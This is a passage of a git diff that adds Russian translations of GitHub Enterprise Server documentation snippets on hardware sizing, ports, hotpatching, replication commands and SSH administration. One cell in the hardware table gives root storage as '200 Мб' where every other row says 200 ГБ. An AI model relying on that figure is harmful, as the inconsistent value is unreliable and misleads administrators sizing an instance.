resources](/enterprise/admin/installation/increasing-cpu-or-memory-resources)." diff --git a/translations/ru-RU/data/reusables/enterprise_installation/hardware-rec-table.md b/translations/ru-RU/data/reusables/enterprise_installation/hardware-rec-table.md new file mode 100644 index 000000000000..e1c2a64cf78e --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_installation/hardware-rec-table.md @@ -0,0 +1,15 @@ +--- +ms.openlocfilehash: 4e7a2b55a6a6db231bacb232e4a4da0b4101dbf1 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147167406" +--- +| Пользовательские лицензии | Число виртуальных ЦП | Память | Подключаемое хранилище | Корневое хранилище | +| :- | -: | -: | -: | -: | +| Пробная версия, демонстрационная версия или 10 облегченных пользователей | 4 | 32 ГБ | 150 ГБ | 200 ГБ | +| от 10 до 3000 | 8 | 48 ГБ | 300 ГБ | 200 Мб | +| от 3000 до 5000 | 12 | 64 ГБ | 500 ГБ | 200 ГБ | +| от 5000 до 8000 | 16 | 96 ГБ | 750 ГБ | 200 ГБ | +| от 8000 до 10000 и выше | 20 | 160 ГБ | 1000 ГБ | 200 ГБ | diff --git a/translations/ru-RU/data/reusables/enterprise_installation/hotpatching-explanation.md b/translations/ru-RU/data/reusables/enterprise_installation/hotpatching-explanation.md new file mode 100644 index 000000000000..84970a0e35e4 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_installation/hotpatching-explanation.md @@ -0,0 +1,7 @@ +You can upgrade {% data variables.product.prodname_ghe_server %} to the latest patch release using a hotpatch. + +You can use hotpatching to upgrade to a newer patch release, but not a feature release. For example, you can upgrade from `2.10.1` to `2.10.5` because they are in the same feature series, but not from `2.10.9` to `2.11.0` because they are in a different feature series. + +Hotpatches do not generally require a reboot. If a hotpatch does require a reboot, the {% data variables.product.product_name %} release notes will indicate the requirement. + +Hotpatches require a configuration run, which can cause a brief period of errors or unresponsiveness for some or all services on {% data variables.location.product_location %}. You are not required to enable maintenance mode during installation of a hotpatch, but doing so will guarantee that users see a maintenance page instead of errors or timeouts. For more information, see "[Enabling and scheduling maintenance mode](/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode)." diff --git a/translations/ru-RU/data/reusables/enterprise_installation/image-urls-viewable-warning.md b/translations/ru-RU/data/reusables/enterprise_installation/image-urls-viewable-warning.md new file mode 100644 index 000000000000..ecff795df4fd --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_installation/image-urls-viewable-warning.md @@ -0,0 +1,5 @@ +{% warning %} + +**Warning:** If you add an image attachment to a pull request or issue comment, anyone can view the anonymized image URL without authentication{% ifversion ghes %}, even if the pull request is in a private repository, or if private mode is enabled. To prevent unauthorized access to the images, ensure that you restrict network access to the systems that serve the images, including {% data variables.location.product_location %}{% endif %}.{% ifversion ghae %} To prevent unauthorized access to image URLs on {% data variables.product.product_name %}, consider restricting network traffic to your enterprise. For more information, see "[Restricting network traffic to your enterprise](/admin/configuration/restricting-network-traffic-to-your-enterprise)."{% endif %} + +{% endwarning %} diff --git a/translations/ru-RU/data/reusables/enterprise_installation/increasing-cpus-req.md b/translations/ru-RU/data/reusables/enterprise_installation/increasing-cpus-req.md new file mode 100644 index 000000000000..10a99bfe360f --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_installation/increasing-cpus-req.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: f07997cc0e87da7f44fb1e62cd28c45a335e8e62 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145111576" +--- +При увеличении объема ресурсов ЦП рекомендуется добавить не менее 6,5 ГБ памяти для каждого виртуального ЦП (до 16 виртуальных ЦП), подготовленных для экземпляра. Если используется более 16 виртуальных ЦП, вам не нужно добавлять 6,5 ГБ памяти для каждого виртуального ЦП, но необходимо отслеживать экземпляр, чтобы обеспечить достаточный объем памяти. diff --git a/translations/ru-RU/data/reusables/enterprise_installation/instance-will-restart-automatically.md b/translations/ru-RU/data/reusables/enterprise_installation/instance-will-restart-automatically.md new file mode 100644 index 000000000000..e3d77ebd9b79 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_installation/instance-will-restart-automatically.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 58c29702fcb247a111c587e3165692d454912d10 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145111571" +--- +4. Экземпляр будет перезапущен автоматически. diff --git a/translations/ru-RU/data/reusables/enterprise_installation/lets-encrypt-prerequisites.md b/translations/ru-RU/data/reusables/enterprise_installation/lets-encrypt-prerequisites.md new file mode 100644 index 000000000000..f29d3b5d83b7 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_installation/lets-encrypt-prerequisites.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 66a4135b46900971cf7bd44eb665f0e88f739f96 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145111560" +--- +Чтобы использовать автоматизацию Let's Encrypt, устройство необходимо настроить с помощью имени узла, общедоступного по протоколу HTTP. Устройству также необходимо разрешить создание исходящих HTTPS-подключений. diff --git a/translations/ru-RU/data/reusables/enterprise_installation/monitoring-replicas.md b/translations/ru-RU/data/reusables/enterprise_installation/monitoring-replicas.md new file mode 100644 index 000000000000..5fa8e60d7117 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_installation/monitoring-replicas.md @@ -0,0 +1,16 @@ +--- +ms.openlocfilehash: e3bbac236dce195487aada32132e9b78e27500ea +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145111547" +--- +Вы можете отслеживать доступность {% data variables.product.prodname_ghe_server %}, проверяя код статуса, возвращаемый для URL-адреса `https://HOSTNAME/status`. Устройство, которое может обслуживать трафик пользователя, возвращает код статуса `200` (ОК). Устройство может возвращать `503` (Служба недоступна) по нескольким причинам: + - Устройство является пассивной репликой, например репликой в конфигурации высокой доступности с двумя узлами. + - Устройство переведено в режим обслуживания. + - Устройство является частью конфигурации георепликации, но является неактивной репликой. + +Вы также можете использовать панель мониторинга "Обзор репликации", доступную по адресу: + +`https://HOSTNAME/setup/replication` diff --git a/translations/ru-RU/data/reusables/enterprise_installation/necessary_ports.md b/translations/ru-RU/data/reusables/enterprise_installation/necessary_ports.md new file mode 100644 index 000000000000..8b8028cedac3 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_installation/necessary_ports.md @@ -0,0 +1,20 @@ +--- +ms.openlocfilehash: 99be41c3a31f1602c08160b3c552e2686820974d +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145111544" +--- +| Порт | Служба | Описание | +|------|---------|------------------------------------------------------------| +| 22 | SSH | Доступ к Git по протоколу SSH. Клонирование, получение и отправка операций в поддерживаемые общедоступные и частные репозитории. | +| 25 | SMTP | Поддержка SMTP с шифрованием (STARTTLS). | +| 80 | HTTP | Доступ к веб-приложениям. *Все запросы перенаправляются на HTTPS-порт при включении SSL.* | +| 122 | SSH | Доступ к оболочке экземпляра. *Порт SSH по умолчанию (22) предназначен для сетевого трафика Git+SSH приложения.* | +| 161/UDP | SNMP | Требуется для работы протокола мониторинга сети. | +| 443 | HTTPS | Доступ к веб-приложению и Git по протоколу HTTPS. | +| 1194/UDP | VPN | Безопасный туннель сети репликации в конфигурации высокого уровня доступности. | +| 8080 | HTTP | Веб-сайт на основе обычного текста {% data variables.enterprise.management_console %}. *Не требуется, если только SSL не отключен вручную.* | +| 8443 | HTTPS | Безопасный веб-доступ {% data variables.enterprise.management_console %}. *Требуется для базовой установки и настройки.* | +| 9418 | Git | Простой порт протокола Git. Клонирование и получение операций только в общедоступные репозитории. *Взаимодействие по сети без шифрования* {% data reusables.enterprise_installation.when-9418-necessary %} | diff --git a/translations/ru-RU/data/reusables/enterprise_installation/open-vm-console-start.md b/translations/ru-RU/data/reusables/enterprise_installation/open-vm-console-start.md new file mode 100644 index 000000000000..be27d7d1973f --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_installation/open-vm-console-start.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 13d472e0a5235a70a4f2b98bc969034b19a42baa +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147785849" +--- +1. С помощью средств платформы виртуализации откройте консоль виртуальной машины. + ![Консоль {% data variables.product.prodname_enterprise %}](/assets/images/enterprise/network-configuration/virtual-machine-console.png) +2. Чтобы начать настройку сети, нажмите **S**. diff --git a/translations/ru-RU/data/reusables/enterprise_installation/promoting-a-replica.md b/translations/ru-RU/data/reusables/enterprise_installation/promoting-a-replica.md new file mode 100644 index 000000000000..594060c3acfa --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_installation/promoting-a-replica.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 0bff270f123a2504197b9580acb8111d6b4c7c6a +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147884521" +--- +При повышении уровня реплики настройка репликации для существующих устройств не выполняется автоматически. После повышения уровня реплики при необходимости можно настроить репликацию из новой в предыдущую основную реплику и на существующие устройства. diff --git a/translations/ru-RU/data/reusables/enterprise_installation/proxy-incompatible-with-aws-nlbs.md b/translations/ru-RU/data/reusables/enterprise_installation/proxy-incompatible-with-aws-nlbs.md new file mode 100644 index 000000000000..c02d33b8115d --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_installation/proxy-incompatible-with-aws-nlbs.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 22af19b8957d9c44fafd5929a96bdfc11caf9cb4 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145111523" +--- +{% note %} + +**Примечание**. {% data variables.product.prodname_ghe_server %} поддерживает протокол PROXY версии 1, несовместимый с подсистемами балансировки сетевой нагрузки AWS. Если вы используете подсистемы балансировки сетевой нагрузки AWS с {% data variables.product.prodname_ghe_server %}, не включайте поддержку PROXY. + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/enterprise_installation/replica-limit.md b/translations/ru-RU/data/reusables/enterprise_installation/replica-limit.md new file mode 100644 index 000000000000..21625bd32ab7 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_installation/replica-limit.md @@ -0,0 +1,15 @@ +--- +ms.openlocfilehash: 862702073a4c1668e2d9a2f6674ae294ea91234c +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145111512" +--- +{% ifversion ghes %} {% note %} + +**Примечание.** Для {% data variables.product.product_name %} разрешено не более 8 высокодоступных реплик (как пассивных, так и активных/геореплик). + +{% endnote %} + +{% endif %} diff --git a/translations/ru-RU/data/reusables/enterprise_installation/replica-ssh.md b/translations/ru-RU/data/reusables/enterprise_installation/replica-ssh.md new file mode 100644 index 000000000000..e998eb72c099 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_installation/replica-ssh.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: 2a2769b2fa2bede1fcdf4886222e260937a547ef +ms.sourcegitcommit: 5f40f9341dd1e953f4be8d1642f219e628e00cc8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/04/2022 +ms.locfileid: "148009844" +--- +1. Подключитесь к экземпляру реплики по протоколу SSH в качестве пользователя admin через порт 122: +```shell +$ ssh -p 122 admin@REPLICA_HOST +``` diff --git a/translations/ru-RU/data/reusables/enterprise_installation/replica-steps.md b/translations/ru-RU/data/reusables/enterprise_installation/replica-steps.md new file mode 100644 index 000000000000..832297ba7d62 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_installation/replica-steps.md @@ -0,0 +1,14 @@ +--- +ms.openlocfilehash: 63a6d1942b3eee497c9689c21b262119a382e85d +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145111499" +--- +3. Задайте такой же пароль администратора, как на основном устройстве, и продолжайте процедуру. +4. Щелкните **Настроить как реплику**. +![Варианты установки со ссылкой для настройки нового экземпляра в качестве реплики](/assets/images/enterprise/management-console/configure-as-replica.png) +5. В разделе "Добавление нового ключа SSH" введите ключ SSH. +![Добавление ключа SSH](/assets/images/enterprise/management-console/add-ssh-key.png) +6. Нажмите **Добавить ключ**. diff --git a/translations/ru-RU/data/reusables/enterprise_installation/replica-verify.md b/translations/ru-RU/data/reusables/enterprise_installation/replica-verify.md new file mode 100644 index 000000000000..c8158d50c2a2 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_installation/replica-verify.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: a0732e3a0fa9fa74b60b8c163e92ab475ab347db +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145111483" +--- +1. Проверьте обновление: + + ```shell + $ ghe-version + ``` diff --git a/translations/ru-RU/data/reusables/enterprise_installation/replication-command.md b/translations/ru-RU/data/reusables/enterprise_installation/replication-command.md new file mode 100644 index 000000000000..77024d66d9a0 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_installation/replication-command.md @@ -0,0 +1,17 @@ +--- +ms.openlocfilehash: 0ee285efb8b386c47d2782151fdf6a2bb24589fc +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879010" +--- +1. Чтобы начать репликацию хранилищ данных, используйте команду `ghe-repl-start`. + ```shell + $ ghe-repl-start + ``` + {% warning %} + + **Предупреждение.** `ghe-repl-start` вызывает кратковременный сбой на главном сервере, во время которого пользователи могут видеть внутренние ошибки сервера. Чтобы предоставить более точное сообщение, запустите `ghe-maintenance -s` на первичном узле перед запуском `ghe-repl-start` на узле-реплике, чтобы поместить устройство в режим обслуживания. После начала репликации отключите режим обслуживания с помощью `ghe-maintenance -u`. Репликация Git не будет выполняться, пока основной узел находится в режиме обслуживания. + + {% endwarning %} diff --git a/translations/ru-RU/data/reusables/enterprise_installation/replication-status.md b/translations/ru-RU/data/reusables/enterprise_installation/replication-status.md new file mode 100644 index 000000000000..63ff9b048e24 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_installation/replication-status.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 831838937ab8a143050a9be7b16ea45a17952408 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145111467" +--- +1. Чтобы убедиться в том, что службы репликации работают правильно, в экземпляре реплики выполните команду `ghe-repl-status`. Она возвращает `OK` для всех служб в случае успешной репликации и обновления реплики. diff --git a/translations/ru-RU/data/reusables/enterprise_installation/request-a-trial.md b/translations/ru-RU/data/reusables/enterprise_installation/request-a-trial.md new file mode 100644 index 000000000000..7758e7728dfc --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_installation/request-a-trial.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: b5a18f02f1b4d8d7f417f66757b655ef52b26fdf +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "146682504" +--- +Можно запросить пробную версию {% data variables.product.prodname_ghe_server %} и оценить ее работу. Дополнительные сведения см. в разделе [Настройка пробной версии {% data variables.product.prodname_ghe_server %}]({% ifversion ghae %}/enterprise-server@latest{% endif %}/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-server). diff --git a/translations/ru-RU/data/reusables/enterprise_installation/save-settings-in-web-based-mgmt-console.md b/translations/ru-RU/data/reusables/enterprise_installation/save-settings-in-web-based-mgmt-console.md new file mode 100644 index 000000000000..32052836c963 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_installation/save-settings-in-web-based-mgmt-console.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: b951df3eca3760e80da4298b046a604658b78e5f +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879528" +--- +3. В [{% data variables.enterprise.management_console %}](/enterprise/admin/guides/installation/accessing-the-management-console/) настройте и сохраните нужные параметры. diff --git a/translations/ru-RU/data/reusables/enterprise_installation/software-license.md b/translations/ru-RU/data/reusables/enterprise_installation/software-license.md new file mode 100644 index 000000000000..f0e8855026fc --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_installation/software-license.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 001d4f28d235ebfa568fe6fbb16b4d0a7bd5655d +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147878817" +--- +Необходим файл лицензии {% data variables.product.prodname_enterprise %}. Дополнительные сведения см. в разделах [Настройка пробной версии {% data variables.product.prodname_ghe_server %}](/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-server#setting-up-your-trial-of-github-enterprise-server) и [Сведения о лицензиях для {% data variables.product.prodname_enterprise %}](/billing/managing-your-license-for-github-enterprise/about-licenses-for-github-enterprise). diff --git a/translations/ru-RU/data/reusables/enterprise_installation/ssh-into-instance.md b/translations/ru-RU/data/reusables/enterprise_installation/ssh-into-instance.md new file mode 100644 index 000000000000..86f7f9ac0523 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_installation/ssh-into-instance.md @@ -0,0 +1,5 @@ +1. SSH into {% data variables.location.product_location %}. If your instance comprises multiple nodes, for example if high availability or geo-replication are configured, SSH into the primary node. If you use a cluster, you can SSH into any node. For more information about SSH access, see "[Accessing the administrative shell (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh)." + + ```shell + $ ssh -p 122 admin@HOSTNAME + ``` diff --git a/translations/ru-RU/data/reusables/enterprise_installation/ssh-into-staging-instance.md b/translations/ru-RU/data/reusables/enterprise_installation/ssh-into-staging-instance.md new file mode 100644 index 000000000000..c0aa11e4d873 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_installation/ssh-into-staging-instance.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: d73d7c8c55dd54ed235f6f0ca18882ecea133a54 +ms.sourcegitcommit: 317c72df4ea1ab1bad699ac5af50f9b3875aa067 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/12/2022 +ms.locfileid: "148043828" +--- +1. SSH в промежуточный экземпляр. Дополнительные сведения см. в разделе [Доступ к административной оболочке (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh). + + ```shell{:copy} + $ ssh -p 122 admin@HOSTNAME + ``` diff --git a/translations/ru-RU/data/reusables/enterprise_installation/ssh-into-target-instance.md b/translations/ru-RU/data/reusables/enterprise_installation/ssh-into-target-instance.md new file mode 100644 index 000000000000..9d4fa474c389 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_installation/ssh-into-target-instance.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: eef04bde23cb93ac93fb26637419767868fe96be +ms.sourcegitcommit: 5f40f9341dd1e953f4be8d1642f219e628e00cc8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/04/2022 +ms.locfileid: "148009908" +--- +1. Как администратор сайта подключите [SSH к целевому экземпляру {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/installation/accessing-the-administrative-shell-ssh/). +```shell +$ ssh -p 122 admin@HOSTNAME +``` diff --git a/translations/ru-RU/data/reusables/enterprise_installation/start-replication.md b/translations/ru-RU/data/reusables/enterprise_installation/start-replication.md new file mode 100644 index 000000000000..de2ff39da38d --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_installation/start-replication.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 5fb88d0088e154d4ca11e3370764c157867f9e3e +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145111448" +--- +1. Чтобы запустить репликацию, в экземпляре реплики выполните команду `ghe-repl-start`. diff --git a/translations/ru-RU/data/reusables/enterprise_installation/terminating-tls.md b/translations/ru-RU/data/reusables/enterprise_installation/terminating-tls.md new file mode 100644 index 000000000000..16ac47313912 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_installation/terminating-tls.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 2887b3039e46f23e3075d9e84fc06483d7d6dce6 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879234" +--- +{% warning %} + + **Предупреждение.** При прекращении подключений HTTPS в подсистеме балансировки нагрузки запросы от подсистемы балансировки нагрузки к {% data variables.product.prodname_ghe_server %} также должны использовать протокол HTTPS. Понижение уровня подключения к HTTP не поддерживается. + +{% endwarning %} diff --git a/translations/ru-RU/data/reusables/enterprise_installation/upload-a-license-file.md b/translations/ru-RU/data/reusables/enterprise_installation/upload-a-license-file.md new file mode 100644 index 000000000000..1c02b3e7b10d --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_installation/upload-a-license-file.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: b4c24028447cd6a7a1e40e45ee98b2cdd22ae46a +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145123696" +--- +2. В командной строке отправьте файл лицензии и задайте пароль консоли управления. Дополнительные сведения см. в разделе [Управление лицензией для {% data variables.product.prodname_enterprise %}](/billing/managing-your-license-for-github-enterprise). diff --git a/translations/ru-RU/data/reusables/enterprise_installation/verify-replication-channel.md b/translations/ru-RU/data/reusables/enterprise_installation/verify-replication-channel.md new file mode 100644 index 000000000000..ace175ae65b3 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_installation/verify-replication-channel.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: 07cbcf275bc4639cf5fb690becb5cbbc02a95e00 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145111432" +--- +11. Чтобы проверить состояние каждого канала репликации хранилища данных, используйте команду `ghe-repl-status`. + ```shell + $ ghe-repl-status + ``` diff --git a/translations/ru-RU/data/reusables/enterprise_installation/visit-your-instance.md b/translations/ru-RU/data/reusables/enterprise_installation/visit-your-instance.md new file mode 100644 index 000000000000..7df035071ca0 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_installation/visit-your-instance.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 902d3038ea84f4eb9f99f652f8b03858fc8d341f +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147884553" +--- +1. Нажмите **Перейти к экземпляру**. diff --git a/translations/ru-RU/data/reusables/enterprise_installation/vm-console-done.md b/translations/ru-RU/data/reusables/enterprise_installation/vm-console-done.md new file mode 100644 index 000000000000..54a3229652e1 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_installation/vm-console-done.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 42650ca1eaa9ecd5e5e8305c4ef52fc767702acc +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145111427" +--- +1. Чтобы завершить настройку параметров, нажмите клавишу **D**. diff --git a/translations/ru-RU/data/reusables/enterprise_installation/warning-on-scaling.md b/translations/ru-RU/data/reusables/enterprise_installation/warning-on-scaling.md new file mode 100644 index 000000000000..781eff3fc0bc --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_installation/warning-on-scaling.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: e5599974bb123d5ff904a3ccc0564dc4258f0cfe +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145123675" +--- +{% warning %} + +**Примечание.** Вы всегда можете увеличить масштаб ЦП или памяти, изменив размер экземпляра. Тем не менее так как для изменения размера ЦП или памяти требуется время простоя для пользователей, рекомендуется использовать ресурсы избыточной подготовки для компенсации масштабирования. + +{% endwarning %} diff --git a/translations/ru-RU/data/reusables/enterprise_installation/warning-on-upgrading-physical-resources.md b/translations/ru-RU/data/reusables/enterprise_installation/warning-on-upgrading-physical-resources.md new file mode 100644 index 000000000000..2b52af13e46c --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_installation/warning-on-upgrading-physical-resources.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: a27fa907e6ce74d1500f4d3e29dcc4159fcf7650 +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "146332179" +--- +{% warning %} + +**Предупреждение.** Процесс выделения новых системных ресурсов зависит от платформы виртуализации и типа ресурсов. Всегда следует настраивать мониторинг и оповещение ключевых системных ресурсов. Дополнительные сведения см. в разделе [Мониторинг устройства {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/installation/monitoring-your-github-enterprise-server-appliance/). + +{% endwarning %} diff --git a/translations/ru-RU/data/reusables/enterprise_installation/when-9418-necessary.md b/translations/ru-RU/data/reusables/enterprise_installation/when-9418-necessary.md new file mode 100644 index 000000000000..2d86e5c60891 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_installation/when-9418-necessary.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 6060b9e6d7d0df16d40634d6862cf5ad7e190912 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145123667" +--- +Если в вашем экземпляре включен частный режим, то открытие этого порта требуется только в том случае, если вы также включили анонимный доступ для чтения Git. Дополнительные сведения см. в разделе [Применение политик управления репозиториями в организации](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#configuring-anonymous-git-read-access). diff --git a/translations/ru-RU/data/reusables/enterprise_management_console/access-monitoring.md b/translations/ru-RU/data/reusables/enterprise_management_console/access-monitoring.md new file mode 100644 index 000000000000..0fd267f86eb3 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_management_console/access-monitoring.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 2a8f5f84f3e37be9518376ec085b89cdb7b47f24 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145111400" +--- +1. На левой боковой панели щелкните **Мониторинг**. +![Вкладка Monitoring (Мониторинг)](/assets/images/enterprise/management-console/monitoring-tab.png) diff --git a/translations/ru-RU/data/reusables/enterprise_management_console/actions.md b/translations/ru-RU/data/reusables/enterprise_management_console/actions.md new file mode 100644 index 000000000000..7bfcdb50e102 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise_management_console/actions.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: d8e846fc675f86a03f94c6f346a194700f9a000b +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145123664" +--- +1. На боковой панели слева выберите **Действия**. + + ![Вкладка "Действия" на боковой панели параметров](/assets/images/enterprise/management-console/sidebar-actions.png) diff --git a/translations/ru-RU/data/reusables/enterprise_management_console/advanced-security-license.md b/translations/ru-RU/data/reusables/enterprise_management_console/advanced-security-license.md new file mode 100644 index 000000000000..4f16e2488245 --- /dev/null +++ 